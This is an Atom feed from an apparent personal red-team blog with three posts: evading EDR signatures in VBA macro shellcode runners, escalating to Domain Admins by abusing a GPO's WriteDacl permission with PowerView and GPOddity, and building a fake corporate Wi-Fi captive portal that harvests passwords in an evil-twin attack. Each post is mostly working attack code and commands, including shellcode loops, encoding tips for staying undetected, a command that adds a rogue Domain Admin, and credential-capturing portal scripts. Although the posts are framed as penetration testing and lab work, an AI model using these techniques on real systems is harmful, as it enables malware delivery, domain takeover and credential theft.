<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://patrickt2017.github.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://patrickt2017.github.io/" rel="alternate" type="text/html" /><updated>2025-10-26T03:50:18+00:00</updated><id>https://patrickt2017.github.io/feed.xml</id><title type="html">Blog - Patrick Tung</title><subtitle>Keep learning and building stuff in cybersecurity.</subtitle><author><name>Patrick Tung</name></author><entry><title type="html">Evading Signature-based Detection in VBA Macros</title><link href="https://patrickt2017.github.io/edr-evasion/Evading-Signature-Macro/" rel="alternate" type="text/html" title="Evading Signature-based Detection in VBA Macros" /><published>2025-10-23T00:00:00+00:00</published><updated>2025-10-23T00:00:00+00:00</updated><id>https://patrickt2017.github.io/edr-evasion/Evading-Signature-Macro</id><content type="html" xml:base="https://patrickt2017.github.io/edr-evasion/Evading-Signature-Macro/"><![CDATA[<h1 id="introduction">Introduction</h1>

<p>Phishing with macro attachments remains a popular technique for establishing command and control (C2) channels on victim machines. However, modern Endpoint Detection and Response (EDR) solutions, such as Microsoft Defender for Endpoint (MDE), have become adept at detecting common VBA macro templates. While revisiting my knowledge from the OSEP course, I found that the templates taught in the course are now flagged by modern EDRs.</p>

<p>In this blog, I will document some techniques I use to evade signature-based detection in VBA macros, particularly focusing on shellcode runners.</p>

<hr />

<h1 id="figuring-out-the-common-issues">Figuring Out the Common Issues</h1>

<p>To understand the challenges, I used the VBA template from <a href="https://github.com/S3cur3Th1sSh1t/OffensiveVBA/blob/main/src/Shellcode_CreateThread.vba">OffensiveVBA</a> as an example. During testing, I identified two primary issues that lead to detection by EDRs.</p>

<h2 id="1-raw-shellcode">1. Raw Shellcode</h2>

<p>Embedding raw shellcode directly in the script is a red flag for EDRs. For example, a simple array containing shellcode bytes will likely trigger detection:</p>

<div class="language-vb highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">Kqrfipip</span> <span class="o">=</span> <span class="n">Array</span><span class="p">(</span><span class="mi">232</span><span class="p">,</span> <span class="mi">130</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">96</span><span class="p">,</span> <span class="mi">137</span><span class="p">,</span> <span class="mi">229</span><span class="p">,</span> <span class="mi">49</span><span class="p">,</span> <span class="mi">192</span><span class="p">,</span> <span class="p">.</span><span class="err">..,</span> <span class="err">46,</span> <span class="err">101,</span> <span class="err">120,</span> <span class="err">101,</span> <span class="err">0)</span>
</code></pre></div></div>

<h2 id="2-winapi-usage">2. WinAPI Usage</h2>

<p>A typical shellcode execution workflow involves the following WinAPI functions:</p>
<ol>
  <li><strong>VirtualAlloc</strong>: Allocates memory with specific protection.</li>
  <li><strong>RtlMoveMemory / WriteProcessMemory</strong>: Copies or writes data to the allocated memory.</li>
  <li><strong>CreateThread</strong>: Creates a thread to execute the shellcode.</li>
</ol>

<p>This pattern is a well-known indicator of compromise (IOC). EDRs often scan for these APIs in VBA macros. For instance, the following declaration and usage of <code class="language-plaintext highlighter-rouge">RtlMoveMemory</code> can be flagged:</p>

<div class="language-vb highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">Private</span> <span class="k">Declare</span> <span class="n">PtrSafe</span> <span class="k">Function</span> <span class="nf">RtlMoveMemory</span> <span class="k">Lib</span> <span class="s">"kernel32"</span> <span class="p">(</span><span class="k">ByVal</span> <span class="n">Krldhufs</span> <span class="ow">As</span> <span class="n">LongPtr</span><span class="p">,</span> <span class="k">ByRef</span> <span class="n">Gsvspq</span> <span class="ow">As</span> <span class="n">Any</span><span class="p">,</span> <span class="k">ByVal</span> <span class="n">Djjdc</span> <span class="ow">As</span> <span class="kt">Long</span><span class="p">)</span> <span class="ow">As</span> <span class="n">LongPtr</span>
<span class="p">.</span><span class="err">..</span>
<span class="n">For</span> <span class="n">Rxsqoxe</span> <span class="o">=</span> <span class="n">LBound</span><span class="p">(</span><span class="n">Kqrfipip</span><span class="p">)</span> <span class="k">To</span> <span class="n">UBound</span><span class="p">(</span><span class="n">Kqrfipip</span><span class="p">)</span>
    <span class="n">Tpjln</span> <span class="o">=</span> <span class="n">Kqrfipip</span><span class="p">(</span><span class="n">Rxsqoxe</span><span class="p">)</span>
    <span class="n">Gczn</span> <span class="o">=</span> <span class="n">RtlMoveMemory</span><span class="p">(</span><span class="n">Clsghvido</span> <span class="o">+</span> <span class="n">Rxsqoxe</span><span class="p">,</span> <span class="n">Tpjln</span><span class="p">,</span> <span class="mi">1</span><span class="p">)</span>
<span class="k">Next</span> <span class="n">Rxsqoxe</span>
</code></pre></div></div>

<hr />

<h1 id="useful-techniques-for-evasion">Useful Techniques for Evasion</h1>

<p>To bypass these detections, I applied the following techniques:</p>

<h2 id="1-multiple-encoding">1. Multiple Encoding</h2>

<p>Encoding the shellcode is a common technique to prevent EDRs from identifying malicious payloads. In the OSEP course, XOR encoding was introduced as a simple yet effective method. Here’s an example of XOR encoding in VBA:</p>

<div class="language-vb highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">buf</span> <span class="o">=</span> <span class="n">Array</span><span class="p">(</span><span class="mi">232</span><span class="p">,</span> <span class="mi">130</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">96</span><span class="p">,</span> <span class="p">.</span><span class="err">..,</span> <span class="err">255,</span> <span class="err">213)</span>

<span class="n">For</span> <span class="n">i</span> <span class="o">=</span> <span class="n">LBound</span><span class="p">(</span><span class="n">buf</span><span class="p">)</span> <span class="k">To</span> <span class="n">UBound</span><span class="p">(</span><span class="n">buf</span><span class="p">)</span>
    <span class="n">buf</span><span class="p">(</span><span class="n">i</span><span class="p">)</span> <span class="o">=</span> <span class="n">buf</span><span class="p">(</span><span class="n">i</span><span class="p">)</span> <span class="ow">Xor</span> <span class="mi">23</span>
<span class="k">Next</span> <span class="n">i</span>
</code></pre></div></div>

<p>However, during testing, I found that even XOR-encoded shellcode was detected by modern EDRs. To address this, I applied an additional layer of encoding on top of the XOR-encoded shellcode. I chose <strong>Caesar Cipher</strong>, which shifts each byte by a fixed number of positions. The encryption and decryption formulas are as follows:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Encryption: C = P + K
Decryption: P = C - K
*K = Addition key
*C = Ciphertext
*P = Plaintext
</code></pre></div></div>

<p>By combining XOR and Caesar Cipher, I was able to evade detection. While I won’t share the exact implementation, I recommend experimenting with other encoding techniques, such as <strong>rot13</strong> or <strong>base64</strong>, to further obfuscate the shellcode.</p>

<blockquote>
  <p><strong>Note:</strong> Encoding is not foolproof. It is essential to test your payloads against the target EDR to ensure they remain undetected.</p>
</blockquote>

<hr />

<h2 id="2-winapi-declaration-with-alias">2. WinAPI Declaration with Alias</h2>

<p>Another effective technique is to rename WinAPI functions using the <code class="language-plaintext highlighter-rouge">Alias</code> keyword in the declaration. This helps avoid detection based on known API names.</p>

<p>For example, instead of directly declaring <code class="language-plaintext highlighter-rouge">RtlMoveMemory</code>, you can alias it as <code class="language-plaintext highlighter-rouge">CopyMemory</code>:</p>

<div class="language-vb highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">Private</span> <span class="k">Declare</span> <span class="n">PtrSafe</span> <span class="k">Sub</span> <span class="nf">CopyMemory</span> <span class="k">Lib</span> <span class="s">"KERNEL32"</span> <span class="k">Alias</span> <span class="s">"RtlMoveMemory"</span>
<span class="p">.</span><span class="err">..</span>
<span class="n">For</span> <span class="n">Rxsqoxe</span> <span class="o">=</span> <span class="n">LBound</span><span class="p">(</span><span class="n">Kqrfipip</span><span class="p">)</span> <span class="k">To</span> <span class="n">UBound</span><span class="p">(</span><span class="n">Kqrfipip</span><span class="p">)</span>
    <span class="n">Tpjln</span> <span class="o">=</span> <span class="n">Kqrfipip</span><span class="p">(</span><span class="n">Rxsqoxe</span><span class="p">)</span>
    <span class="n">Indjas</span> <span class="o">=</span> <span class="n">Clsghvido</span> <span class="o">+</span> <span class="n">Rxsqoxe</span>
    <span class="n">Gczn</span> <span class="o">=</span> <span class="n">CopyMemory</span><span class="p">(</span><span class="n">Indjas</span><span class="p">,</span> <span class="n">Tpjln</span><span class="p">,</span> <span class="mi">1</span><span class="p">)</span>
<span class="k">Next</span> <span class="n">Rxsqoxe</span>
</code></pre></div></div>

<p>This simple change can help bypass signature-based detection that looks for specific API names.</p>

<hr />

<h1 id="conclusion">Conclusion</h1>

<p>Evading signature-based detection in VBA macros requires a combination of techniques, including encoding the shellcode and obfuscating WinAPI declarations. While the examples in this blog focus on XOR encoding, Caesar Cipher, and API aliasing, there are many other methods you can explore to achieve the same goal.</p>

<p>Remember, the key to successful evasion is testing. Always validate your payloads against the target EDR to ensure they remain undetected.</p>

<hr />

<h1 id="resources">Resources</h1>

<ol>
  <li><a href="https://github.com/S3cur3Th1sSh1t/OffensiveVBA">OffensiveVBA</a></li>
  <li><a href="https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc">Microsoft Documentation on VirtualAlloc</a></li>
  <li><a href="https://en.wikipedia.org/wiki/Caesar_cipher">Caesar Cipher Explanation</a></li>
</ol>]]></content><author><name>Patrick Tung</name></author><category term="EDR-Evasion" /><category term="EDR-Evasion" /><summary type="html"><![CDATA[Techniques to evade WinAPI signatures and bypass EDR detection in VBA macros.]]></summary></entry><entry><title type="html">Abusing GPO with WriteDacl AD DACL</title><link href="https://patrickt2017.github.io/red-team/GPO-Abuse-WriteDacl/" rel="alternate" type="text/html" title="Abusing GPO with WriteDacl AD DACL" /><published>2025-09-20T00:00:00+00:00</published><updated>2025-09-20T00:00:00+00:00</updated><id>https://patrickt2017.github.io/red-team/GPO-Abuse-WriteDacl</id><content type="html" xml:base="https://patrickt2017.github.io/red-team/GPO-Abuse-WriteDacl/"><![CDATA[<h1 id="introduction">Introduction</h1>

<p>Recently, I set up a lab that simulates a scenario where a user has the WriteDacl permission over a GPO, making the GPO vulnerable to exploitation. During the simulation, I discovered that existing tools, such as <a href="https://github.com/FSecureLABS/SharpGPOAbuse">SharpGPOAbuse</a> and <a href="https://github.com/Hackndo/pyGPOAbuse">pyGPOAbuse</a>, do not actually work to set up immediate or scheduled tasks after granting the user GenericAll or GenericWrite permissions over the GPO. Therefore, I did some research to see if there was any solution and found the <a href="https://github.com/synacktiv/GPOddity/">GPOddity</a> automation tool, developed by Synacktiv researchers, which works very well to escalate user privileges to Domain Admins.</p>

<p>In this blog, I am going to explain the limitations of existing tools and another attack vector used in GPOddity, with some demonstrations in my lab.</p>

<h1 id="lab-setup">Lab Setup</h1>

<p>In the lab, a user <code class="language-plaintext highlighter-rouge">labuser01</code> has been assigned the <strong>WriteDacl</strong> permission over a GPO <code class="language-plaintext highlighter-rouge">Vuln Policy</code>, which is linked to the domain.</p>

<p><img src="/assets/images/2025-09-20/1-lab-setup.png" alt="" /></p>

<p>To exploit the DACL, the delegated user can grant themselves full control (<strong>GenericAll</strong>) of the GPO and then create an immediate or scheduled task applied to computer or user objects to execute commands for privilege escalation as an example.</p>

<p><img src="/assets/images/2025-09-20/2-lab-setup2.png" alt="" /></p>

<p>Use the function <code class="language-plaintext highlighter-rouge">Add-DomainObjectAcl</code> in the PowerView tool to grant the user <code class="language-plaintext highlighter-rouge">GenericAll</code> permission over a GPO.</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">Add-DomainObjectAcl</span><span class="w"> </span><span class="nt">-TargetIdentity</span><span class="w"> </span><span class="s2">"Vuln Policy"</span><span class="w"> </span><span class="nt">-PrincipalIdentity</span><span class="w"> </span><span class="s2">"home\labuser01"</span><span class="w"> </span><span class="nt">-Rights</span><span class="w"> </span><span class="nx">All</span><span class="w">
</span></code></pre></div></div>

<h1 id="knowledge-group-policy-template-in-sysvol-share">Knowledge: Group Policy Template in SYSVOL Share</h1>

<p>Theoretically, if a user has been delegated GenericAll over a GPO via the <strong>Group Policy Management</strong> editor, they would obtain full permission of the respective group policy folder in the <code class="language-plaintext highlighter-rouge">SYSVOL</code> SMB share of the domain controllers. The folder contains all the <strong>Group Policy Template</strong> files, which include all the settings to apply to the linked user or computer objects.</p>

<p><img src="/assets/images/2025-09-20/3-GPT-SYSVOL.png" alt="" /></p>

<p>According to <a href="https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/group-policy/group-policy-processing#group-policy-refresh">Microsoft documentation</a>, by default, clients and servers check for changes to GPOs every 90 minutes using a randomized offset of up to 30 minutes. Domain controllers check for computer policy changes every 5 minutes. When users and computers attempt to check for changes to GPOs, they retrieve the GPT files from the folders in the <code class="language-plaintext highlighter-rouge">SYSVOL</code> SMB share.</p>

<h1 id="the-problem-of-existing-tools-with-writedacl">The Problem of Existing Tools with WriteDacl</h1>

<p>Existing tools, such as <strong>SharpGPOAbuse</strong>, create an immediate task by directly modifying the Group Policy Template folder in <code class="language-plaintext highlighter-rouge">SYSVOL</code> SMB shares on domain controllers. However, these tools do not consider the synchronization issue of LDAP and SMB permissions when granting a user the <strong>GenericAll</strong> permission over GPOs. This means that even though <code class="language-plaintext highlighter-rouge">labuser01</code> grants themselves the <strong>GenericAll</strong> privilege over the <code class="language-plaintext highlighter-rouge">Vuln Policy</code> GPO using pentesting tools such as PowerView, they only obtain full control of the GPO configurations and attributes, but not full permissions of the group policy folder in the <code class="language-plaintext highlighter-rouge">SYSVOL</code> share.</p>

<p><img src="/assets/images/2025-09-20/4-SYSVOL-denied.png" alt="" /></p>

<p>When we try to browse the GPO using Group Policy Management, a message pops up asking for synchronization of the <code class="language-plaintext highlighter-rouge">SYSVOL</code> folder.</p>

<p><img src="/assets/images/2025-09-20/5-GPO-Sync.png" alt="" /></p>

<p>In reality, or during a real red team exercise, we cannot just wait for a domain admin to log into domain controllers and click on that ‘OK’ button for permission synchronization. Hence, we need to find another solution to make use of the <code class="language-plaintext highlighter-rouge">GenericAll</code> privilege over the GPO.</p>

<h1 id="solution-modifying-the-gpo-folder-path-via-gpcfilesyspath-attribute">Solution: Modifying the GPO folder path via gPCFileSysPath attribute</h1>

<p><a href="https://www.synacktiv.com/publications/gpoddity-exploiting-active-directory-gpos-through-ntlm-relaying-and-more#3-existing-gpo-exploitation-tools-and-their-limits">Synacktiv</a> introduced a new attack vector of spoofing the GPO location through the <code class="language-plaintext highlighter-rouge">gPCFileSysPath</code> attribute. This LDAP attribute points to the folder associated with the GPO in the <code class="language-plaintext highlighter-rouge">SYSVOL</code> SMB share of the domain controller.</p>

<p>Once the path is modified to our controlled SMB share or a writable share in the Active Directory environment, we can write the scheduled task to perform command execution on behalf of all computers or users.</p>

<h2 id="gpoddity">GPOddity</h2>

<p><a href="https://github.com/synacktiv/GPOddity/">GPOddity</a> can automate GPO attacks via the <code class="language-plaintext highlighter-rouge">gPCFileSysPath</code> attribute.</p>

<p>Assuming the user already has a writable share in the network, hosting an embedded SMB server is not needed. The script will change the <code class="language-plaintext highlighter-rouge">gPCFileSysPath</code> to the manipulated share, clone the original GPO files, and create a scheduled task XML file with the commands. In this case, the task creates a new domain user and attempts to add the user to the Domain Admins group with the privilege of the computer that is refreshing the group policy.</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">$</span><span class="w"> </span><span class="n">python3</span><span class="w"> </span><span class="nx">gpoddity.py</span><span class="w"> </span><span class="nt">--gpo-id</span><span class="w"> </span><span class="s2">"FA300B64-C70B-46A8-84B5-B44FA07EBE66"</span><span class="w"> </span><span class="nt">--gpo-type</span><span class="w"> </span><span class="s2">"computer"</span><span class="w"> </span><span class="nt">--domain</span><span class="w"> </span><span class="s2">"home.lab"</span><span class="w"> </span><span class="nt">--username</span><span class="w"> </span><span class="s2">"labuser01"</span><span class="w"> </span><span class="nt">--password</span><span class="w"> </span><span class="s2">"..."</span><span class="w"> </span><span class="nt">--command</span><span class="w"> </span><span class="s1">'net user gpo_admin Password123! /add /domain &amp;&amp; net group "Domain Admins" gpo_admin /ADD /DOMAIN'</span><span class="w"> </span><span class="nt">--rogue-smbserver-ip</span><span class="w"> </span><span class="s2">"10.10.20.11"</span><span class="w"> </span><span class="nt">--rogue-smbserver-share</span><span class="w"> </span><span class="s2">"Shared"</span><span class="w"> </span><span class="nt">--smb-mode</span><span class="w"> </span><span class="s2">"none"</span><span class="w"> </span><span class="nt">--verbose</span><span class="w">
</span></code></pre></div></div>

<p><img src="/assets/images/2025-09-20/6-gPCFIleSysPath.png" alt="" /></p>

<p>The Python script will generate an output folder <code class="language-plaintext highlighter-rouge">GPT_out</code>. All you need to do is copy all the sub-folders and files to the rogue SMB share and wait for the group policy to refresh.</p>

<p><img src="/assets/images/2025-09-20/7-GPO_out.png" alt="" /></p>

<p>Finally, the command is executed by a computer object that has the privilege (e.g., Domain Controllers) to create a new domain user and add the user to the Domain Admins group.</p>

<p><img src="/assets/images/2025-09-20/8-success.png" alt="" /></p>

<h1 id="conclusion">Conclusion</h1>

<p>It took me quite some time to figure out how to run a scheduled task starting from the <code class="language-plaintext highlighter-rouge">WriteDacl</code> permission and to overcome the LDAP and SMB synchronization issues. Hope you find something useful in this blog!</p>

<h1 id="resources">Resources</h1>

<ol>
  <li><a href="https://github.com/synacktiv/GPOddity/">GPOddity</a></li>
  <li><a href="https://www.synacktiv.com/publications/gpoddity-exploiting-active-directory-gpos-through-ntlm-relaying-and-more">GPOddity: exploiting Active Directory GPOs through NTLM relaying, and more!</a></li>
  <li><a href="https://bloodhound.specterops.io/resources/edges/write-dacl">WriteDacl</a></li>
</ol>]]></content><author><name>Patrick Tung</name></author><category term="Red-Team" /><category term="Red-Team" /><summary type="html"><![CDATA[Abusing GPO using the WriteDacl permission in active directory environments.]]></summary></entry><entry><title type="html">Customize your Captive Portal in Airgeddon’s Evil Twin Attack</title><link href="https://patrickt2017.github.io/penetration-test/Custom-Captive-Portal/" rel="alternate" type="text/html" title="Customize your Captive Portal in Airgeddon’s Evil Twin Attack" /><published>2025-09-06T00:00:00+00:00</published><updated>2025-09-06T00:00:00+00:00</updated><id>https://patrickt2017.github.io/penetration-test/Custom-Captive-Portal</id><content type="html" xml:base="https://patrickt2017.github.io/penetration-test/Custom-Captive-Portal/"><![CDATA[<h1 id="introduction">Introduction</h1>
<p>During a Wi-Fi penetration test recently, I tried to explore further about Evil Twin attacks, which is one of the client-side attacks. To whom may not know much about this attack, Evil Twin attacks involve adversaries who attempt to mimic a target Wi-Fi access point with a rogue access point and to trick users to connect the fake one.</p>

<h1 id="custom-portal-plugin-in-airgeddon">Custom Portal Plugin in Airgeddon</h1>
<h2 id="installation">Installation</h2>

<p>Download the script <code class="language-plaintext highlighter-rouge">customportals.sh</code> on <a href="https://github.com/KeyofBlueS/airgeddon-plugins">https://github.com/KeyofBlueS/airgeddon-plugins</a> and put it in <code class="language-plaintext highlighter-rouge">/usr/share/airgeddon/plugins</code>. Also, create a folder called <code class="language-plaintext highlighter-rouge">custom_portals</code> which will store all your customized captive portal template.</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[/usr/share/airgeddon/plugins]
└─# <span class="nb">ls</span> <span class="nt">-al</span>
total 96
drwxr-xr-x 3 root root  4096 Sep  5 23:45 <span class="nb">.</span>
drwxr-xr-x 4 root root  4096 Sep  5 21:35 ..
drwxr-xr-x 2 root root  4096 Sep  5 23:45 custom_portals
<span class="nt">-rw-r--r--</span> 1 root root 38008 Sep  5 23:38 customportals.sh
<span class="nt">-rw-r--r--</span> 1 root root 34298 Aug  1 19:07 missing_dependencies.sh
<span class="nt">-rw-r--r--</span> 1 root root  6401 Aug  1 19:07 plugin_template.sh
</code></pre></div></div>

<h1 id="working-on-the-template">Working on the Template</h1>
<h2 id="indexhtm">index.htm</h2>
<p><code class="language-plaintext highlighter-rouge">index.htm</code> is the captive portal page that tricks users to provide information, such as Wi-Fi password or even their active directory credentials. In the following example, we attempt to tell the staff to provide the corporate Wi-Fi password in a scenario of WPA-PSK SSIDs.</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">#!/usr/bin/env bash</span>
<span class="nb">echo</span> <span class="s1">'&lt;!DOCTYPE html&gt;'</span>
<span class="nb">echo</span> <span class="s1">'&lt;html&gt;'</span>
<span class="nb">echo</span> <span class="nt">-e</span> <span class="s1">'	&lt;head&gt;'</span>
<span class="nb">echo</span> <span class="nt">-e</span> <span class="s1">'		&lt;meta name="viewport" content="width=device-width"/&gt;'</span>
<span class="nb">echo</span> <span class="nt">-e</span> <span class="s1">'		&lt;meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/&gt;'</span>
<span class="nb">echo</span> <span class="nt">-e</span> <span class="s1">'		&lt;title&gt;"${et_misc_texts[${captive_portal_language},15]}"&lt;/title&gt;'</span>
<span class="nb">echo</span> <span class="nt">-e</span> <span class="s1">'		&lt;link rel="stylesheet" type="text/css" href="portal.css"/&gt;'</span>
<span class="nb">echo</span> <span class="nt">-e</span> <span class="s1">'		&lt;script type="text/javascript" src="portal.js"&gt;&lt;/script&gt;'</span>
<span class="nb">echo</span> <span class="nt">-e</span> <span class="s1">'	&lt;/head&gt;'</span>
<span class="nb">echo</span> <span class="nt">-e</span> <span class="s1">'	&lt;div class="content"&gt;'</span>
<span class="nb">echo</span> <span class="nt">-e</span> <span class="s1">'		&lt;form method="post" id="loginform" name="loginform" action="check.htm"&gt;'</span>
<span class="nb">echo</span> <span class="nt">-e</span> <span class="s1">'			&lt;img src="./logo.png" alt="Logo" class="logo"/&gt;'</span>
<span class="nb">echo</span> <span class="nt">-e</span> <span class="s1">'			&lt;h1&gt;Wi-Fi Access&lt;/h1&gt;'</span>
<span class="nb">echo</span> <span class="nt">-e</span> <span class="s1">'			&lt;p class="description"&gt;Please enter the Wi-Fi password to gain access to the corporate Wi-Fi network.&lt;/p&gt;'</span>
<span class="nb">echo</span> <span class="nt">-e</span> <span class="s1">'			&lt;label&gt;&lt;input id="password" maxlength="63" name="password" size="20" type="password" placeholder="Password" class="input-field"/&gt;&lt;/label&gt;'</span>
<span class="nb">echo</span> <span class="nt">-e</span> <span class="s1">'			&lt;input type="submit" value="Connect" class="button"/&gt;'</span>
<span class="nb">echo</span> <span class="nt">-e</span> <span class="s1">'		&lt;/form&gt;'</span>
<span class="nb">echo</span> <span class="nt">-e</span> <span class="s1">'		&lt;p class="warning"&gt;Only authorized persons are allowed to access the corporate network of ABC Company.&lt;/p&gt;'</span>
<span class="nb">echo</span> <span class="nt">-e</span> <span class="s1">'	&lt;/div&gt;'</span>
<span class="nb">exit </span>0
</code></pre></div></div>

<p>You may also notice that the form action will be taken in <code class="language-plaintext highlighter-rouge">check.htm</code> where I will explain further in the next section.</p>

<h2 id="checkhtm">check.htm</h2>

<p><code class="language-plaintext highlighter-rouge">check.htm</code> is to proceed the form submission by users in <code class="language-plaintext highlighter-rouge">index.htm</code>. The script would firstly extract the information from the POST HTTP data. In this case, the password is retrieved.</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">POST_DATA</span><span class="o">=</span><span class="si">$(</span><span class="nb">cat</span> /dev/stdin<span class="si">)</span>
<span class="k">if</span> <span class="o">[[</span> <span class="s2">"</span><span class="k">${</span><span class="nv">REQUEST_METHOD</span><span class="k">}</span><span class="s2">"</span> <span class="o">=</span> <span class="s2">"POST"</span> <span class="o">]]</span> <span class="o">&amp;&amp;</span> <span class="o">[[</span> <span class="k">${</span><span class="nv">CONTENT_LENGTH</span><span class="k">}</span> <span class="nt">-gt</span> 0 <span class="o">]]</span><span class="p">;</span> <span class="k">then
	</span><span class="nv">POST_DATA</span><span class="o">=</span><span class="k">${</span><span class="nv">POST_DATA</span><span class="p">#*=</span><span class="k">}</span>
	<span class="nv">password</span><span class="o">=</span><span class="k">${</span><span class="nv">POST_DATA</span><span class="p">/+/ </span><span class="k">}</span>
	<span class="nv">password</span><span class="o">=</span><span class="si">$(</span><span class="nb">printf</span> <span class="s1">'%b'</span> <span class="s2">"</span><span class="k">${</span><span class="nv">password</span><span class="p">//%/\\x</span><span class="k">}</span><span class="s2">"</span><span class="si">)</span>
<span class="k">fi</span>
</code></pre></div></div>

<p>Once the password is retrieved, there are a couple of conditional statements following. The first one is to validate the length of the password provided by the user. The length should be at least 8 characters and less than 64 characters. If validated, the password will be temporarily saved in <code class="language-plaintext highlighter-rouge">${tmpdir}${webdir}${currentpassfile}</code>, which should typically be <code class="language-plaintext highlighter-rouge">/tmp/ag1/www/</code>. The password will be used to crack the hash in the 4-way handshake file captured by airodump-ng and Airgeddon.</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="o">[[</span> <span class="k">${#</span><span class="nv">password</span><span class="k">}</span> <span class="nt">-ge</span> 8 <span class="o">]]</span> <span class="o">&amp;&amp;</span> <span class="o">[[</span> <span class="k">${#</span><span class="nv">password</span><span class="k">}</span> <span class="nt">-le</span> 63 <span class="o">]]</span><span class="p">;</span> <span class="k">then
	</span><span class="nb">rm</span> <span class="nt">-rf</span> <span class="s2">"</span><span class="k">${</span><span class="nv">tmpdir</span><span class="k">}${</span><span class="nv">webdir</span><span class="k">}${</span><span class="nv">currentpassfile</span><span class="k">}</span><span class="s2">"</span> <span class="o">&gt;</span> /dev/null 2&gt;&amp;1
	<span class="nb">echo</span> <span class="s2">"</span><span class="k">${</span><span class="nv">password</span><span class="k">}</span><span class="s2">"</span> <span class="o">&gt;</span><span class="se">\</span>
	<span class="s2">"</span><span class="k">${</span><span class="nv">tmpdir</span><span class="k">}${</span><span class="nv">webdir</span><span class="k">}${</span><span class="nv">currentpassfile</span><span class="k">}</span><span class="s2">"</span>
	aircrack-ng <span class="nt">-a</span> 2 <span class="nt">-b</span> <span class="k">${</span><span class="nv">bssid</span><span class="k">}</span> <span class="nt">-w</span> <span class="s2">"</span><span class="k">${</span><span class="nv">tmpdir</span><span class="k">}${</span><span class="nv">webdir</span><span class="k">}${</span><span class="nv">currentpassfile</span><span class="k">}</span><span class="s2">"</span> <span class="s2">"</span><span class="k">${</span><span class="nv">et_handshake</span><span class="k">}</span><span class="s2">"</span> | <span class="nb">grep</span> <span class="s2">"KEY FOUND!"</span> <span class="o">&gt;</span> /dev/null
</code></pre></div></div>

<p>Then, check whether <code class="language-plaintext highlighter-rouge">KEY FOUND</code> is in the output of <code class="language-plaintext highlighter-rouge">aircrack-ng</code> to determine the attack is successful or not.</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="o">[</span> <span class="s2">"</span><span class="nv">$?</span><span class="s2">"</span> <span class="o">=</span> <span class="s2">"0"</span> <span class="o">]</span><span class="p">;</span> <span class="k">then
	</span><span class="nb">touch</span> <span class="s2">"</span><span class="k">${</span><span class="nv">tmpdir</span><span class="k">}${</span><span class="nv">webdir</span><span class="k">}${</span><span class="nv">et_successfile</span><span class="k">}</span><span class="s2">"</span> <span class="o">&gt;</span> /dev/null 2&gt;&amp;1
	<span class="nb">echo</span> <span class="s1">'&lt;h1 class="success"&gt;Connection Success&lt;/h1&gt;The password is correct, the connection will be re-established in a few moments'</span>
	<span class="nv">et_successful</span><span class="o">=</span>1
<span class="k">else
	</span><span class="nb">echo</span> <span class="s2">"</span><span class="k">${</span><span class="nv">password</span><span class="k">}</span><span class="s2">"</span> <span class="o">&gt;&gt;</span><span class="se">\</span>
	<span class="s2">"</span><span class="k">${</span><span class="nv">tmpdir</span><span class="k">}${</span><span class="nv">webdir</span><span class="k">}${</span><span class="nv">attemptsfile</span><span class="k">}</span><span class="s2">"</span>
	<span class="nb">echo</span> <span class="s1">'&lt;h1 class="error"&gt;Connection Error&lt;/h1&gt;The password is incorrect, redirecting to the main screen'</span>
	<span class="nv">et_successful</span><span class="o">=</span>0
<span class="k">fi</span>
</code></pre></div></div>

<h2 id="portalcss">portal.css</h2>

<p>You could customize the CSS content here.</p>

<h2 id="portaljs">portal.js</h2>

<p>In <code class="language-plaintext highlighter-rouge">check.htm</code>, if the password is not correct, the user will be redirected to the captive portal page in a few seconds.</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="o">[</span> <span class="k">${</span><span class="nv">et_successful</span><span class="k">}</span> <span class="nt">-eq</span> 1 <span class="o">]</span><span class="p">;</span> <span class="k">then
    </span><span class="nb">exit </span>0
<span class="k">else
    </span><span class="nb">echo</span> <span class="s1">'&lt;script type="text/javascript"&gt;'</span>
    <span class="nb">echo</span> <span class="nt">-e</span> <span class="s1">'\tsetTimeout("redirect()", 3500);'</span>
    <span class="nb">echo</span> <span class="s1">'&lt;/script&gt;'</span>
    <span class="nb">exit </span>1
<span class="k">fi</span>
</code></pre></div></div>

<p>The JavaScript function <code class="language-plaintext highlighter-rouge">redirect()</code> is called in <code class="language-plaintext highlighter-rouge">portal.js</code> to redirect to <code class="language-plaintext highlighter-rouge">index.htm</code>.</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nx">redirect</span><span class="p">()</span> <span class="p">{</span>
    <span class="nb">document</span><span class="p">.</span><span class="nx">location</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">index.htm</span><span class="dl">"</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Meanwhile, some response corresponding to the form could be included here, such as password length validation.</p>

